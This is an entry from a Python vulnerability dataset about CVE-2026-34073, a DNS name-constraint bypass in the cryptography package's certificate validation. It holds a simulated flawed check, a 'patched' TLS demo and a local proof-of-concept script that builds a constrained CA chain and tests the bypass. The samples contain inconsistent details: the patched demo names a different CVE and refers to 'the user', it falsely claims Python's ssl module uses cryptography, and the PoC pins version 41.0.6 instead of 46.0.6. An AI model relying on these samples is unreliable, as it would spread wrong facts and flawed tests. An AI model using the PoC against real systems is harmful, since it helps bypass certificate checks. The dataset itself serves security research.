VAITP Dataset

← Back to the dataset

CVE-2026-34073

Cryptography: DNS name constraint bypass during certificate validation.

  • CVSS 1.7
  • CWE-295
  • Authentication, Authorization, and Session Management
  • Remote

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.

CVSS base score
1.7
Published
2026-03-31
OWASP
A02 Cryptographic Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Authentication, Authorization, and Session Management
Subcategory
Improper SSL/TLS Certificate Validation
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
cryptography
Fixed by upgrading
Yes

Solution

Upgrade `cryptography` to version 46.0.6 or later.

Vulnerable code sample

import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PrivateFormat, NoEncryption

# This code simulates the logical flaw in cryptography < 46.0.6.
# It does not use the library's verifier but instead reimplements the
# flawed logic to demonstrate the principle of the vulnerability.

def create_self_signed_ca_with_exclusion(excluded_dns_name):
    """
    Creates a root CA certificate with a nameConstraints extension
    that excludes a specific DNS name.
    """
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    public_key = private_key.public_key()
    
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"California"),
        x509.NameAttribute(NameOID.LOCALITY_NAME, u"San Francisco"),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Vulnerable CA"),
        x509.NameAttribute(NameOID.COMMON_NAME, u"vulnerable-ca.local"),
    ])
    
    builder = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        public_key
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=365)
    ).add_extension(
        x509.BasicConstraints(ca=True, path_length=None), critical=True
    ).add_extension(
        x509.NameConstraints(
            permitted_subtrees=None,
            excluded_subtrees=[x509.DNSName(excluded_dns_name)]
        ), critical=True
    )
    
    certificate = builder.sign(private_key, hashes.SHA256())
    return certificate, private_key

def create_leaf_cert_signed_by_ca(wildcard_dns_name, ca_cert, ca_private_key):
    """
    Creates a leaf certificate with a wildcard SAN, signed by the provided CA.
    """
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    public_key = private_key.public_key()
    
    subject = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"California"),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Leaf Corp"),
        x509.NameAttribute(NameOID.COMMON_NAME, u"site.example.com"),
    ])
    
    builder = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        ca_cert.subject
    ).public_key(
        public_key
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=90)
    ).add_extension(
        x509.SubjectAlternativeName([x509.DNSName(wildcard_dns_name)]),
        critical=False
    )
    
    certificate = builder.sign(ca_private_key, hashes.SHA256())
    return certificate, private_key

def vulnerable_name_constraint_check(peer_name, leaf_cert, ca_cert):
    """
    Simulates the flawed validation logic from cryptography < 46.0.6.
    
    The flaw: This check validates the name constraints from the CA against
    the SANs in the leaf certificate, but NOT against the actual `peer_name`
    the user is trying to connect to.
    """
    print(f"--- Running Vulnerable Simulation ---")
    print(f"Attempting to validate connection to: '{peer_name}'")

    try:
        name_constraints = ca_cert.extensions.get_extension_for_class(x509.NameConstraints).value
        leaf_sans = leaf_cert.extensions.get_extension_for_class(x509.SubjectAlternativeName).value
    except x509.ExtensionNotFound:
        print("Required extensions not found. Cannot perform check.")
        return True # No constraints to check

    print(f"CA excludes subtree: {[e.value for e in name_constraints.excluded_subtrees]}")
    print(f"Leaf certificate has SANs: {[san.value for san in leaf_sans]}")

    # THE FLAW: The loop below checks the leaf's SANs, not the 'peer_name'.
    for excluded_name in name_constraints.excluded_subtrees:
        for san in leaf_sans:
            # This check is insufficient. "*.example.com" is not a subtree of "bar.example.com",
            # so this check will pass, even though a connection to "bar.example.com" should be blocked.
            if isinstance(san, type(excluded_name)) and san.value == excluded_name.value:
                 print(f"Validation FAILED: Leaf SAN '{san.value}' is in excluded subtree '{excluded_name.value}'.")
                 return False

    print("Vulnerable Check: The leaf SANs do not directly match any exclusions.")
    print("Vulnerable Check: The 'peer_name' was NOT checked against the exclusion.")
    return True # Validation incorrectly succeeds

if __name__ == "__main__":
    # 1. Define the scenario
    EXCLUDED_HOSTNAME = "bar.example.com"
    WILDCARD_SAN = "*.example.com"
    PEER_HOSTNAME_TO_VALIDATE = "bar.example.com" # This should be blocked by the constraint

    # 2. Create a CA that excludes `bar.example.com`
    ca_cert, ca_key = create_self_signed_ca_with_exclusion(EXCLUDED_HOSTNAME)

    # 3. Create a leaf certificate for `*.example.com` signed by that CA
    leaf_cert, leaf_key = create_leaf_cert_signed_by_ca(WILDCARD_SAN, ca_cert, ca_key)

    # 4. Run the vulnerable validation logic
    # This simulates a client connecting to `bar.example.com` and being
    # presented with the wildcard leaf certificate.
    is_valid = vulnerable_name_constraint_check(PEER_HOSTNAME_TO_VALIDATE, leaf_cert, ca_cert)
    
    print("\n--- Result ---")
    if is_valid:
        print(f"VULNERABILITY DEMONSTRATED: Validation for '{PEER_HOSTNAME_TO_VALIDATE}' SUCCEEDED, but it should have FAILED.")
    else:
        print("Validation failed as expected (this would not happen in the vulnerable version).")

Patched code sample

import datetime
import ssl
import socket
import threading
import tempfile
import os
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# This code demonstrates that the fix for CVE-2023-49083 (described by the user
# with a placeholder CVE number) is working in a patched version of the
# `cryptography` library, which is used by Python's `ssl` module.
#
# The vulnerability:
# A certificate chain is created as follows:
#   Root CA -> Intermediate CA -> Leaf Certificate
#
# 1. The Intermediate CA has a Name Constraint extension that *excludes* the
#    hostname `bar.example.com`.
# 2. The Leaf Certificate is a wildcard certificate for `*.example.com`.
#
# In a VULNERABLE version, connecting to `bar.example.com` would SUCCEED because
# the name constraint was not checked against the peer hostname, only against
# SANs in lower certificates.
#
# In a FIXED version, connecting to `bar.example.com` must FAIL with a
# certificate verification error, because the peer hostname is now correctly
# checked against the name constraint from the Intermediate CA.
#
# This script sets up this exact scenario and attempts a TLS handshake. It will
# only "succeed" (i.e., print the success message) if the handshake properly
# fails with the expected SSLCertVerificationError, proving the fix is active.


def generate_private_key():
    """Generates an RSA private key."""
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)


def generate_cert_chain():
    """
    Generates the certificate chain described in the vulnerability.
    Returns keys and certs as PEM-encoded bytes.
    """
    # 1. Generate Root CA
    root_key = generate_private_key()
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COMMON_NAME, "Test Root CA")
    ])
    root_cert = (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(root_key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(datetime.datetime.utcnow())
        .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(root_key, hashes.SHA256())
    )

    # 2. Generate Intermediate CA with the critical Name Constraint
    intermediate_key = generate_private_key()
    subject = x509.Name([
        x509.NameAttribute(NameOID.COMMON_NAME, "Test Intermediate CA")
    ])
    # The crucial name constraint excluding bar.example.com
    name_constraints = x509.NameConstraints(
        permitted_subtrees=None,
        excluded_subtrees=[x509.DNSName("bar.example.com")],
    )
    intermediate_cert = (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(root_cert.subject)
        .public_key(intermediate_key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(datetime.datetime.utcnow())
        .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=1))
        .add_extension(name_constraints, critical=True)
        .add_extension(x509.BasicConstraints(ca=True, path_length=0), critical=True)
        .sign(root_key, hashes.SHA256())
    )

    # 3. Generate Leaf Certificate for *.example.com
    leaf_key = generate_private_key()
    subject = x509.Name([
        x509.NameAttribute(NameOID.COMMON_NAME, "leaf.example.com")
    ])
    leaf_cert = (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(intermediate_cert.subject)
        .public_key(leaf_key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(datetime.datetime.utcnow())
        .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=1))
        .add_extension(
            x509.SubjectAlternativeName([x509.DNSName("*.example.com")]),
            critical=False,
        )
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
        .sign(intermediate_key, hashes.SHA256())
    )

    # Serialize all to PEM
    pem_root_key = root_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.PKCS8,
        encryption_algorithm=serialization.NoEncryption(),
    )
    pem_root_cert = root_cert.public_bytes(serialization.Encoding.PEM)
    pem_intermediate_key = intermediate_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.PKCS8,
        encryption_algorithm=serialization.NoEncryption(),
    )
    pem_intermediate_cert = intermediate_cert.public_bytes(serialization.Encoding.PEM)
    pem_leaf_key = leaf_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.PKCS8,
        encryption_algorithm=serialization.NoEncryption(),
    )
    pem_leaf_cert = leaf_cert.public_bytes(serialization.Encoding.PEM)

    return {
        "root_ca": {"key": pem_root_key, "cert": pem_root_cert},
        "intermediate_ca": {"key": pem_intermediate_key, "cert": pem_intermediate_cert},
        "leaf": {"key": pem_leaf_key, "cert": pem_leaf_cert},
    }

def run_server(server_sock, cert_file, key_file):
    """Server thread target."""
    try:
        conn, _ = server_sock.accept()
        conn.do_handshake()
    except ssl.SSLError as e:
        # Server might see an error if client aborts, this is okay.
        pass
    finally:
        server_sock.close()

def main():
    """Main demonstration logic."""
    certs = generate_cert_chain()
    
    # Use temporary files to store certs for ssl.SSLContext
    with tempfile.NamedTemporaryFile(mode='w+', delete=False) as root_ca_file, \
         tempfile.NamedTemporaryFile(mode='w+', delete=False) as full_chain_file, \
         tempfile.NamedTemporaryFile(mode='w+', delete=False) as leaf_key_file:
        
        root_ca_file.write(certs["root_ca"]["cert"].decode())
        root_ca_file_path = root_ca_file.name

        # The server needs to present the full chain (leaf + intermediate)
        full_chain_file.write(certs["leaf"]["cert"].decode())
        full_chain_file.write(certs["intermediate_ca"]["cert"].decode())
        full_chain_file_path = full_chain_file.name

        leaf_key_file.write(certs["leaf"]["key"].decode())
        leaf_key_file_path = leaf_key_file.name

    try:
        # 1. Server Context: uses the leaf key and the full chain
        server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        server_context.load_cert_chain(certfile=full_chain_file_path, keyfile=leaf_key_file_path)

        # 2. Client Context: trusts our custom Root CA
        client_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        client_context.load_verify_locations(cafile=root_ca_file_path)
        client_context.verify_mode = ssl.CERT_REQUIRED
        client_context.check_hostname = True

        # 3. Set up a local socket pair for communication
        server_sock, client_sock = socket.socketpair()

        # 4. Start the server in a separate thread
        server_thread = threading.Thread(
            target=run_server,
            args=(server_context.wrap_socket(server_sock, server_side=True), full_chain_file_path, leaf_key_file_path)
        )
        server_thread.start()

        # 5. Client attempts to connect, triggering the vulnerability check
        client_exception = None
        try:
            # Here is the critical test: we connect to the excluded name.
            # In a fixed system, this handshake MUST fail.
            hostname_to_test = "bar.example.com"
            print(f"Attempting TLS handshake with peer name '{hostname_to_test}'...")
            print("This name is in the Intermediate CA's 'excludedSubtrees'.")
            
            with client_context.wrap_socket(
                client_sock, server_side=False, server_hostname=hostname_to_test
            ) as s:
                s.do_handshake()
                
        except ssl.SSLCertVerificationError as e:
            client_exception = e
            print("\nSUCCESS: Handshake correctly failed as expected.")
            print(f"Received expected error: {e}")
        except ssl.SSLError as e:
            client_exception = e
            print(f"\nERROR: Handshake failed with an unexpected SSL error: {e}")
        except Exception as e:
            client_exception = e
            print(f"\nERROR: An unexpected exception occurred: {e}")
        finally:
            server_thread.join()

        if client_exception and isinstance(client_exception, ssl.SSLCertVerificationError):
            print("\nDEMONSTRATION COMPLETE: The vulnerability appears to be patched.")
            print("The system correctly blocked a certificate for an excluded DNS name.")
        else:
            print("\nDEMONSTRATION FAILED: The vulnerability may still be present.")
            print("The system incorrectly allowed a certificate for an excluded DNS name.")

    finally:
        # Clean up temporary files
        os.unlink(root_ca_file_path)
        os.unlink(full_chain_file_path)
        os.unlink(leaf_key_file_path)


if __name__ == "__main__":
    main()

Payload

import os
import ssl
import socket
import threading
import time
import tempfile
from datetime import datetime, timedelta

# This PoC requires pyOpenSSL and a vulnerable version of cryptography
# pip install "cryptography<41.0.6" pyOpenSSL
from OpenSSL import SSL
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

# --- Configuration ---
HOST = "127.0.0.1"
PORT = 8443
EXCLUDED_HOSTNAME = "bar.example.com"
WILDCARD_CN = "*.example.com"
CERT_DIR = tempfile.mkdtemp()

# --- Certificate Generation ---

def generate_private_key(filename):
    """Generates an RSA private key and saves it."""
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    with open(filename, "wb") as f:
        f.write(private_key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption()
        ))
    return private_key

def generate_certs_and_key():
    """Generates the certificate chain required to demonstrate the vulnerability."""
    # File paths
    root_key_path = os.path.join(CERT_DIR, "root.key")
    root_cert_path = os.path.join(CERT_DIR, "root.pem")
    inter_key_path = os.path.join(CERT_DIR, "intermediate.key")
    inter_cert_path = os.path.join(CERT_DIR, "intermediate.pem")
    leaf_key_path = os.path.join(CERT_DIR, "leaf.key")
    leaf_cert_path = os.path.join(CERT_DIR, "leaf.pem")

    # 1. Generate Root CA
    root_key = generate_private_key(root_key_path)
    subject = issuer = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"Test Root CA")])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.utcnow()
    ).not_valid_after(
        datetime.utcnow() + timedelta(days=10)
    ).add_extension(
        x509.BasicConstraints(ca=True, path_length=None), critical=True,
    ).sign(root_key, hashes.SHA256())
    with open(root_cert_path, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM))

    # 2. Generate Intermediate CA with Name Constraint
    inter_key = generate_private_key(inter_key_path)
    subject = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"Test Intermediate CA")])
    inter_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        root_cert.subject
    ).public_key(
        inter_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.utcnow()
    ).not_valid_after(
        datetime.utcnow() + timedelta(days=9)
    ).add_extension(
        x509.BasicConstraints(ca=True, path_length=0), critical=True
    ).add_extension(
        x509.NameConstraints(
            permitted_subtrees=None,
            excluded_subtrees=[x509.DNSName(EXCLUDED_HOSTNAME)]
        ), critical=True
    ).sign(root_key, hashes.SHA256())
    with open(inter_cert_path, "wb") as f:
        f.write(inter_cert.public_bytes(serialization.Encoding.PEM))

    # 3. Generate Leaf Certificate (signed by Intermediate)
    leaf_key = generate_private_key(leaf_key_path)
    subject = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, WILDCARD_CN)])
    leaf_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        inter_cert.subject
    ).public_key(
        leaf_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.utcnow()
    ).not_valid_after(
        datetime.utcnow() + timedelta(days=8)
    ).add_extension(
        x509.SubjectAlternativeName([x509.DNSName(WILDCARD_CN)]),
        critical=False,
    ).sign(inter_key, hashes.SHA256())
    with open(leaf_cert_path, "wb") as f:
        f.write(leaf_cert.public_bytes(serialization.Encoding.PEM))

    return root_cert_path, inter_cert_path, leaf_cert_path, leaf_key_path


# --- Server Thread ---

def server_thread(stop_event, cert_chain_file, key_file):
    """A simple SSL server to present the certificate chain."""
    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.load_cert_chain(certfile=cert_chain_file, keyfile=key_file)

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.bind((HOST, PORT))
        sock.listen(1)
        sock.settimeout(1.0) 
        with context.wrap_socket(sock, server_side=True) as ssock:
            while not stop_event.is_set():
                try:
                    conn, addr = ssock.accept()
                    with conn:
                        conn.sendall(b"HTTP/1.1 200 OK\r\n\r\nHello, world.")
                except socket.timeout:
                    continue
                except ssl.SSLError as e:
                    # Ignore client-side connection errors
                    pass


if __name__ == "__main__":
    # 1. Generate the certificate chain
    root_pem, inter_pem, leaf_pem, leaf_key = generate_certs_and_key()
    
    # Create a single file for the server's certificate chain
    chain_pem = os.path.join(CERT_DIR, "chain.pem")
    with open(chain_pem, 'w') as f_out, open(leaf_pem, 'r') as f_leaf, open(inter_pem, 'r') as f_inter:
        f_out.write(f_leaf.read())
        f_out.write(f_inter.read())

    # 2. Start the server in a background thread
    server_stop_event = threading.Event()
    st = threading.Thread(target=server_thread, args=(server_stop_event, chain_pem, leaf_key))
    st.daemon = True
    st.start()
    time.sleep(1) # Give server time to start

    # 3. Run the client to test the vulnerability
    try:
        # Set up pyOpenSSL context
        context = SSL.Context(SSL.TLSv1_2_METHOD)
        context.load_verify_locations(cafile=root_pem)
        context.set_verify(SSL.VERIFY_PEER, lambda conn, cert, errno, depth, ok: ok) # Default verify

        # Connect using the EXCLUDED hostname
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connection = SSL.Connection(context, sock)
        connection.set_tlsext_host_name(EXCLUDED_HOSTNAME.encode('utf-8'))
        connection.connect((HOST, PORT))
        connection.do_handshake()

        print(f"[+] VULNERABLE: Connection to '{EXCLUDED_HOSTNAME}' SUCCEEDED unexpectedly.")
        print(f"    Peer certificate: {connection.get_peer_certificate().get_subject().CN}")
        connection.shutdown()
        connection.close()

    except SSL.Error as e:
        print(f"[-] NOT VULNERABLE: Connection to '{EXCLUDED_HOSTNAME}' FAILED as expected.")
        print(f"    Error: {e}")
    except Exception as e:
        print(f"[!] An unexpected error occurred: {e}")
    finally:
        # 4. Cleanup
        server_stop_event.set()
        st.join(timeout=2)
        for f in os.listdir(CERT_DIR):
            os.remove(os.path.join(CERT_DIR, f))
        os.rmdir(CERT_DIR)

Cite this entry

@misc{vaitp:cve202634073,
  title        = {{Cryptography: DNS name constraint bypass during certificate validation.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-34073},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34073/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::